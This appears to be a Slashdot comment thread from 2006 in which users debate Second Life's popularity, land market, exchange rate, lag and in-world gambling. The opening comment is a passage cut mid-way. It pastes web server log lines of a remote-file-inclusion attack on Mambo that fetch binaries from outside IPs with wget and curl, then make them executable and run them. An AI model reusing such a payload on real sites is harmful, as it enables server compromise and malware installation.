      44%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:30 -0400] "GET /index.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]= 1&GLOBALS=&mosConfig_absolut
      e_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tmp ;wget%2070.168.74.193/strange;chmod%20744%20strang e;./strange;cd%20/var/tmp;curl%20-o%20arts%20http: //207.90.211.54/arts;chmod%2074
      4%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
      69.224.108.166 - - [04/Apr/2006:05:04:32 -0400] "GET /mambo/index2.php?_REQUEST[option]=com_content&_RE QUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=h ttp://69.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    3. Re:I found a better online game by Anonymous Coward · · Score: 0

      I love cl1p! I use it every day to copy my sensitive information where a disk might get compromised. I send all of my passwords and credit card data. It's a snap!

  8. From the article by Wellington+Grey · · Score: 2, Interesting

    "People are willing to do tedious, complex tasks within games," notes Nick Yee, a Stanford University graduate student in communications who has extensively studied online games. "What if we could tap into that brainpower?" In other words, your next cubicle could well be inside a virtual world.

    The matrix has you.

    -Grey

    1. Re:From the article by ch-chuck · · Score: 1

      In other words, your next cubicle could well be inside a virtual world.

      As long I can access my virtual cube from my yacht, it won't be too awfully bad.

      --
      try { do() || do_not(); } catch (JediException err) { yoda(err); }
    2. Re:From the article by BorgCopyeditor · · Score: 1
      As long I can access my virtual cube from my yacht, it won't be too awfully bad.

      More likely, you will access your virtual yacht from your cubicle.

      --
      Shop as usual. And avoid panic buying.
    3. Re:From the article by Anonymous Coward · · Score: 0

      Just wait until they want to pay you in virtual money!

      Oh wait, that is more or less already happening in the 'real world' as well :O

  9. It's like this: by Anonymous Coward · · Score: 2, Funny

    In real life I'm a shy, fat, ugly loser. Online I'm a hyper-successful 21 Y/O stud who get's all the attention. I'm living the dream baby!

  10. Geek references by fridgemagnet · · Score: 1

    There are at least a hundred or so avatars with the first name "Hiro" there.

  11. fraud protection ? by Anonymous Coward · · Score: 0



    seems like its a great way to commit fraud form the guise of a "company", forget insider stock dealing, just hit ctrl+c+enter a few times and visit ebay to collect your rewards

  12. What are you even talking about? by Silent+sound · · Score: 1

    Couldn't you say the same thing about internet relay chat?
    Or television?
    Or radio?
    Or novels?
    Or theater?

    If the desire of persons to temporarily escape reality to live in fantasy as embodied by Second Life represents a problem, it is a problem that has been going on for 15 / 75 / 110 / 408 / 2600 years.

    1. Re:What are you even talking about? by eln · · Score: 1

      t is a problem that has been going on for 15 / 75 / 110 / 408 / 2600 years.

      I'm not sure why you would choose to express this in the form of a mathematical equation, but if it's only been going on for .054 seconds as you say, I don't really see what the problem is.

    2. Re:What are you even talking about? by BorgCopyeditor · · Score: 1
      It is a problem that has been going on for 15 / 75 / 110 / 408 / 2600 years.

      I'm not sure why you would choose to express this in the form of a mathematical equation, but if it's only been going on for .054 seconds as you say, I don't really see what the problem is.

      Dude, for a 3GHz processor, that's like 162 million cycles. Practically an eternity. Can you imagine doing anything 162 million times?

      --
      Shop as usual. And avoid panic buying.
    3. Re:What are you even talking about? by Silent+sound · · Score: 2, Interesting

      The slash in my previous post was not intended to be taken as a division symbol, but rather was being used to enumerate a series of alternatives, i.e., the "problem" has been going on for 15 years (IRC) or 75 years (Television) or 110 years (Radio) or 408 years (Novels) or 2600 years (Theatre).

      You see.

    4. Re:What are you even talking about? by networkBoy · · Score: 1

      *faaaawoooosh*

      -nB

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    5. Re:What are you even talking about? by RobertLTux · · Score: 1

      i think your post would work better as a comma seperated series (15,75,110,480,2600)

      --
      Any person using FTFY or editing my postings agrees to a US$50.00 charge
    6. Re:What are you even talking about? by Andrew+Kismet · · Score: 1

      I'm British. That number is huge and incorrectly formatted =P

  13. I am a gank farmer by gatkinso · · Score: 0

    Yes. Also, I will gil you the first chance I get. Prepare to have your dog gibbed.

    --
    I am very small, utmostly microscopic.
  14. Maybe they are trapped by... by gatkinso · · Score: 3, Funny

    ... the inability to take a shower, hit the gym, and subsequently get laid.

    --
    I am very small, utmostly microscopic.
    1. Re:Maybe they are trapped by... by morie · · Score: 1

      getting laid virtually just isn't the same.

      And yes, I do know what it is like virtually and IRL

      --
      Sig (appended to the end of comments I post, 54 chars)
  15. For those who, by Grand+Facade · · Score: 1

    can't or don't want to make or loose money in a brick and mortar environment.

    Just for you, a virtual life. But who is going to change your diaper and refill your feeding tube?

    --
    Rick B.
  16. Re:Thank you zonk. by Vorondil28 · · Score: 0, Offtopic

    Well, while the apropriate moderation for this comment is probably "Offtopic" (maybe "Funny" for apt use of sarcasm), it does have a point...

    --
    This sig rocks the casbah.
  17. One thing that's missing... by Rob+T+Firefly · · Score: 1

    I'd love to try it out, but I'm waiting for someone to write a Gamefaq. It's just no fun without an infinite money code...

  18. No, not really by Sycraft-fu · · Score: 1

    Despite the press it gets on Slashdot for some reason, there are really very few people that give a shit about Second Life. The total number of people active in Second Life is maybe (maybe) as much as a single World of Warcraft server. Of WoW servers there's like 88 in the US alone, never mind the ones in other countries. While Second Life is certianly somewhat analogus to the metaverse Stephnson talks about, it's not the same thing. It's not populated by the technological elite, it's populated by some businessmen and some people with more money than sense.

    It's only one virtual world of many and it is not even close to the biggest. To the best of my knowledge, less than 200,000 people have ever signed up to use it. Over 5,000,000 people play WoW, or at least choose to send Blizzard $15/month to be allowed to play. There are, of course, plenty of of others that while not as popular, are still more popular than Second Life.

    So don't worry about it, the metaverse is not upon us, and you are not missing out on anything.

    1. Re:No, not really by Lordfly · · Score: 1

      Incorrect on a few counts :)

      The total number of people that've signed up is a bit over half a million. Yeah, still tiny. But still.

      Anyway, the peak concurrency rate is about 6000 people. This is similar to a single shard of World of Warcraft. But consider that there are no "shards" in SL.

      Finally, the community keeps poking Linden Labs to release actual user data, and they finally came out and said that there were 60,000 unique accounts that logged in at least once in the last 30 days. So a bit smaller than 200,000 active accounts.

      Nevertheless it's growing fairly quick. The servers currently simulate an area about the size of Boston. A year ago it was maybe 1/5 that size.

      --
      hookers and grits.
    2. Re:No, not really by soupforare · · Score: 2, Funny
      It's not populated by the technological elite, it's populated by some businessmen and some people with more money than sense.

      hah! They should just call it furrylife. businessmen... lawl.

      --
      --- Do you believe in the day?
    3. Re:No, not really by inkfox · · Score: 1
      It's only one virtual world of many and it is not even close to the biggest. To the best of my knowledge, less than 200,000 people have ever signed up to use it.

      In the most recent Town Hall, Peter Linden remarked that they've almost hit 1,000,000 signups.

      --
      Says the RIAA: When you EQ, you're stealing bass!
  19. Isn't this a 2nd-hand advertisement? by cryptomancer · · Score: 1

    So Linden Labs gets an infusion of cash (see http://games.slashdot.org/article.pl?sid=06/03/28/ 1727255) to do more development on their "game," and this just sounds like part of the marketing feed. Don't get me wrong (a cursory check will find I am Second-Life-critical, really just a hardcore cynic), it may be yet-another-good-story about virtual economies crossing the reality border, but smells like it was paid for with that VC.

    --
    Yes, we understand these tags always apply: fud, dupe, typo, slashdotted, topic name
  20. Second Life Sucks by Anonymous Coward · · Score: 0

    This is not an MMO. It's a Massively Online Photoshop Time and Money Waster. MOPTaMW. Don't worry about the name not catching on very well. It will do as good as the "game" will. Truth is, not many people are involved in this experiment, and the only thing that can be learned from it has more to do with how easily entertained some people are rather than a virtual economy. Why look to a tiny unrepresentative quirk of online commerce rather than look closer at the content delivery and virtual sales going on in a popular game, like WoW or EQ2?

    This is not a game. Just because you can connect online and it's 3d doesn't make it a game. It's a virtual community, like AOL, except with people with slightly more aptitude for technology, and slightly less of a clue.

    1. Re:Second Life Sucks by Beer+Moon · · Score: 1

      At least people who buy crap in actual games online like WoW or EQ2 have something to show for it.

      WoW/EQ/Actual MMO item purchase: I am elite because I have the Sword of L337Pwn +2 and I can kill you and your little dog too! All the rats will phear me!

      SL item purchase: Look I have a pretty pink bonnet! WHEEEE look at me!!

      Other games like AO have tons of flair items you can create and/or purchase if you want to game like this, it's just that the devs control what can be made so that everything doesn't look like a haphazard conglomeration of differently-styled worthless junk like it does in SL.

  21. It's not what it's made out to be by jasonhamilton · · Score: 5, Informative

    SL isn't nearly as great as it's made out to be in the media. Even their best example - Anche Chung was banned from SL and their forums the other day. Moderators were then unleashed to remove any thread about her ban.

    The only people making income are the land barons who buy up huge sims (servers) then sell off the land. It's a lot of work to cut it up and sell - and the profits are small unless you do this large scale. To get that kind of scale you'll need 10's of thousands of dollars invested. There is already a land glut and the profits are hard to come by even with a lot of money to invest. Because of the land glut, the market is facing inflation. We're seeing over $300 second life dollars per $1 USD.

    If you want to try your hand at developing land to run things like casinos, malls, etc. You will have to upgrade your account to a paid version. You then need to find some land to buy. The monthly fee on a fairly modest 16,000m plot of land is $75. The initial cost for that amount of land is around $300 - $400. Much of the main land has no rules besides "PG" and "R" rated areas. So people build horrible objects and structures. The more prims an object takes up, the more lag the area gets. Anyway, people have issues selling clothing, skins, etc. because there is no way to prevent others from stealing them directly from the local client's graphics cache or directly from video memory. People steal then resell other's work.

    You also have to watch out for gotchas in the game. They have rules such as a user needing to belong to a group that owns the land, in order to set "Home" to that location. The problem is, if your land is owned by a group, and you sell the land, all members in that group get an EQUAL cut of the selling price of the land. This is not something they mention to you when you click SELL. So if you're selling a $500 USD plot of land and you get $4 back, you'll not be too happy. Calling SL's tech support will yeld such gems as "If you were planning on making a mistake, you should have called us up before you made the mistake and we'd be happy to help you"

    I don't want to rant on too much about it - I haven't even gotten started on the negitives ... but there are some positives to SL. But the hype is about making money - something that is extremely difficult. Most are lucky to even break even.

    --
    SearchIRC - Now with live chat directory!
    1. Re:It's not what it's made out to be by Anonymous Coward · · Score: 0

      Ansche Chung was NOT banned, that was an April fools joke played by Linden Lab.
      SL rules. Parent poster smacks of sour grapes.
      The rules are pretty clear if you do your research. If you got screwed in a group land deal, chances are you didn't investigate your group or the group rules before you plunked down your money.
      LL can't "help" you if you decide to throw your money away.

    2. Re:It's not what it's made out to be by Anonymous Coward · · Score: 0
      Of course you only tell the half truth.
      SL isn't nearly as great as it's made out to be in the media. Even their best example - Anche Chung was banned from SL and their forums the other day.
      For failing to pay her bills on time.
      Moderators were then unleashed to remove any thread about her ban.
      No threads about her ban were removed. Multiple threads attacking her and making racial and sexual insults however were. (Which is what every single thread on the ban had devolved into.)
      The only people making income are the land barons who buy up huge sims (servers) then sell off the land.
      I guess the seven different folks I know who make a couple of hundred dollars each monthly from selling houses, clothes, etc... Aren't making any income?
      Because of the land glut, the market is facing inflation. We're seeing over $300 second life dollars per $1 USD.
      If there was a land glut, we'd see the prices on land *dropping* - when it reality the prices have remained fairly stable for over six months now. (Not to mention the fact that there has been *NO* inflation in the $L - it's purchasing power remains virtually unchanged. What has changed is the *exchange rate*.)
      I don't want to rant on too much about it
      Please don't. I already had to give up halfway through *this* message refuting and correcting the half truths and utter nonsense in your 'rant'.
    3. Re:It's not what it's made out to be by Weeb · · Score: 1

      The only people making income are the land barons who buy up huge sims (servers) then sell off the land.

      Phht. Hardly. I've made over US$5k in SL in the last year by developing and marketing unique content. A few women have quit their day jobs and work from home, living on income made by virtual clothing sales in SL. There are infinite business opportunities there for the creative and hard-working.

      The real value of SL is the opportunity to explore your creativity -- but the business end of things is absolutely doable with very little upfront cost if you have the discipline to take a solid, business-minded approach to it. I think I used about US$75 total in upfront investment to get my business on solid footing initially. Since then, SL has paid for itself plus a good deal of my bills each month. That was a god-send while I was still in college.

  22. Second Life summed up in one post: by Anonymous Coward · · Score: 0

    Semi-addictive virtual world inhabited by furries, paedophiles, nymphomaniacs, 40 year old fat bald men playing busty teenage-sized females that have sex with anything that moves.

    Also existing in this virtual world are those that are so delusional that they think they can make real world money off the paltry exchange rate. They don't realise that charging L$200 slightly less than US$1. Sure, sell a thousand of them and you're set!

    There is also the person who sets up a club, like every other club in Second Life: sex, furries, bad internet radio DJs, and little kids. They almost never make any real life money, despite the hundreds of (US) dollars spent on making the virtual club.

  23. at the end of the day by wintersheart · · Score: 0, Redundant

    Who cares I mean if someone wants to have fun for a while in a virtual world how is it effecting you. I was an online gamar with everquest and it was the most fun I have ever had. I even shudder sold online items. I stop playing because I didnt have the free time to play. I'm not a fat ugly no life whater everyone is stero typing as either! I played for fun wake up its the modern world and nerdo kids dont play monolopy or scrabble anymore. This is the internet. ------------------- Science Fiction Fan girl Lynne's SCI FI news VIDEO podcast WEB: http://lynne.libsyn.com/ Latest show: http://media.libsyn.com/media/lynne/episode13.m4v

  24. Whoooooosh!!! by Anonymous Coward · · Score: 0

    -nt-

  25. A few missed points by SiliconEntity · · Score: 2, Interesting

    I've been playing SL for a few months and there are some interesting points that were missed by these articles.

    First, many of the signups are free accounts. You only need to upgrade to a paid account if you want to own land. I rent a 'condo' and I still only have a free account. However I have spent a few dollars occasionally, converting them directly to Linden-dollars so I could buy stuff. Many players just get by on the 50 Linden-dollars a week basic stipend that even free accounts get.

    Second, probably the most noteworthy aspect of SL is the large number of women participating. Female avatars substantially outnumber males, in my experience, and while not all of them are "really" female, it is clear that the game has real appeal to women. In fact one of the main activities in SL is clothes shopping, which is one of the reasons that hardcore gamers (almost all men/boys) often don't like the game.

    Another point not often mentioned is that another popular activity is gambling. There are hundreds of casinos in SL offering slot machines, blackjack, poker and dice games. Because Linden-dollars are convertible, it means that the players at these casinos are gambling real money. Which is illegal, in the U.S. Yet the activity goes on openly, on servers owned by a U.S. company. Plus, the casinos are completely unregulated and there is basically no recourse if you think you are being cheated, other than to go elsewhere.

    I do think the money-making aspects tend to get over-emphasized in articles about SL. Most people don't make or sell anything, from what I've seen. And those who do are not too happy lately. The Linden-dollars have been highly inflationary and have fallen from 1/250 to 1/300 of a dollar in the past couple of months. In response Linden Labs is constantly rejiggering the various stipends and payments they make.

    Which brings up the last point, the dynamism of the game. Things are always changing. My condo complex now has a medieval castle complete with lava-filled moat on one side, and an open-air art gallery on the other. Neither was there when I moved in a couple of months ago. You may go to a formerly-popular spot and find that an entire mall has picked up and moved to the other side of the world, overnight. Or maybe they just went out of business entirely. Several of my favorite places have disappeared since I started playing, which is too bad. But new ones are always being created so there is always something new to see.

    If you have a broadband account, give it a try. Don't expect it to be a structured game, just an enormous and diverse world to explore.

  26. It's not what it's made out to be-Virtual Piracy. by Anonymous Coward · · Score: 0

    "If you want to try your hand at developing land to run things like casinos, malls, etc. You will have to upgrade your account to a paid version. You then need to find some land to buy. The monthly fee on a fairly modest 16,000m plot of land is $75. The initial cost for that amount of land is around $300 - $400. Much of the main land has no rules besides "PG" and "R" rated areas. So people build horrible objects and structures. The more prims an object takes up, the more lag the area gets. Anyway, people have issues selling clothing, skins, etc. because there is no way to prevent others from stealing them directly from the local client's graphics cache or directly from video memory. People steal then resell other's work."

    So in other words. It's a LOT like real life.

  27. "ain't goin' away ever" by Attaturk · · Score: 1

    The Escapist covered this topic recently. There's a fascinating alternative perspective presented in an interview with the president of RedBedlam, the team behind Roma Victor - another virtual economics-based VW due to launch in July. The interview is here.

    NB my sig.

  28. It's actually worse. by jasonhamilton · · Score: 1

    Since your land fees (Called Tier) are based on the amount of land you own, there are people who buy up the 16m of land (very tiny spots an avatar can barely stand on) and put up anti bush signs. They do it under the claim of free speach, but then turn around and sell the land at insane prices. They are essentially extorting money from people because the signs are brought blue, spin around and block the landscape. They then position the signs in front of people's windows and ... well, you get the point.

    --
    SearchIRC - Now with live chat directory!
    1. Re:It's actually worse. by jasonhamilton · · Score: 1

      fuck me. That's some horrible spelling. The signs are BRIGHT blue. Since any object can contain scripts, you can even have the scripts pester people who are in the area.... poorly designed scripts can lag an entire server.

      --
      SearchIRC - Now with live chat directory!
  29. I'm tired about hearing about Second Life by Argyle · · Score: 1

    Enough about Second Life. It's quite dull. Their PR department gets them press everywhere, but compared to the 6 million people in WoW, it's a miniscule world.

    The same story over and over about the same people making money in Second Life. Here's a good post about how dull it is.

    The "omfgwtfbbq people are making money off of virutal gold" is a stale story with it going back to Ultima Online and Everquest in the late 90s. In 2006, this kind of story is nothing more than marketing hype.

    --
    nuclear iraq bioweapon encryption cocaine korea terrorist
    1. Re:I'm tired about hearing about Second Life by ocelotbob · · Score: 1

      The big issue is that SL is very bandwidth intensive. You'll increase performance a /lot/ if you give it more bandwidth to play with. At less than 100kbps, it's pretty much unplayable, and 250kbps is about minimal for decent performance.

      --

      Marxism is the opiate of dumbasses

  30. I dont know personaly by Anonymous Coward · · Score: 0

    ive made about 250 dollers since november just messing around as a stripper and escort in game. for poking around thats pretty good. Nothing to sneeze at atleast. not gonna live of it but its spending money. a doller here and a doller there adds up.

  31. tricklehead by boojumbadger · · Score: 1

    Trickle trickle head I want to be a tricklehead. seriously man where can I plug in my headjack?

  32. Virtual economy... by Taulin · · Score: 1

    Hmm..Second Life might be a perfect place for me to vent my rage against games that want to charge me money to own virtual land. To do this, I will pick a day...let's say May 2nd, where I will resist building anything and not buy anything. That will show them that there are far more of us who don't want to pay than those who do!

  33. its going to get bigger before it levels out by aka_big_wurm · · Score: 1

    I have a feeling that this game is going to get bigger pretty soon. It going to be the next MySpace. And there is still time to get in and make some money. You just have to find a place to make money.

    One of my issues with the game is finding stuff to do. The strip clubs get boring fast and I have never set foot in Casino. Where are the other things to do?

    1. Re:its going to get bigger before it levels out by cyrax777 · · Score: 1

      Slingo,tringo, hang around and chat with people, go to combat zones, make stuff. im sure theres more I left out.

  34. Validity of the Model by virg_mattes · · Score: 1

    > The most obvious example is death and physical pain. Think about how many choices are made in the world directly to avoid death or physical pain. This doesn't exist in Second Life.

    This isn't really a valid analysis, since you're simply trying to inject "first life" rules into Second Life, and there's no logical reason for that. Sure, you can't starve to death, but you can very certainly deplete your bank account in the game, leaving yourself without the means to enjoy the game in many ways. The world does have rules. They're just not the rules that control the real world. There's no need for laws against murder, for example, because murder is impossible. It would be like trying to pass a law in the real world to prevent people from turning invisible at will.

    > If this is truly an anarchistic society, then laws don't exist. That include game rules.

    In a real world anarchistic society, people couldn't fly without mechanical help. Saying that true anarchy has no rules, including rules governing matter, is just as foolish (and just as inaccurate) as saying that Second Life can't be anarchistic because there are game rules based on the programming.

    > Also, what if the power goes out and all their servers crash or are destroyed? Playing this game requires A LOT of trust in the people running it. Personally, I think it's a fascinating experiment in human nature and economics (though a flawed one), but there's no way I'm going to give them any of my money.

    That's certainly your perogative, but if someone wants to make a living by trading in Linden goods, then there are plenty of ways to make it relatively safe. Any business has risks, but there are companies that offer insurance for a fee, and there's nothing that says you couldn't go to Lloyd's of London and take out a policy on the continued operation of Second Life, so that if Linden Labs pulls the plug you wouldn't be left with nothing. Think of it as fire insurance for a virtual building.

    Virg

  35. big lag fast I chose alphaworld by dindi · · Score: 1

    OK, I am the curious kind, and reading the article, downloaded second life.

    My net is not perfect 256/128, but this is a damn lagfest. Athlon64 3200+, 1gig ram, and it is like playing quake3 on a 386.

    On the other hand, i downloaded Alpha World as well as I haven;t seen it for a long time, and with max detail is just runs perfect and looks better.

    I miht ask, if my net and my machine plays BF2 64 player matches without a single lag, how comes that an empty world in the middle of nowhere lags like i can barely move....

    The sell/buy idea is great, the implementation freaks me out. If alphaworld had the buy/sell feature like that one does it could beat the crap outta that lagfest horror ...

    I might be missing something, but the last time I saw something running that choppy was when i tried doom on an xp2000+ on 1024x768 ....

    Well, no virtual land for me.

    I also expected somethin a lot nicer, alphaworld delivered this 6 years ago... something thet looks at least as OK as a modern video game ... if not doom or HL, but at least something from the 21st century ....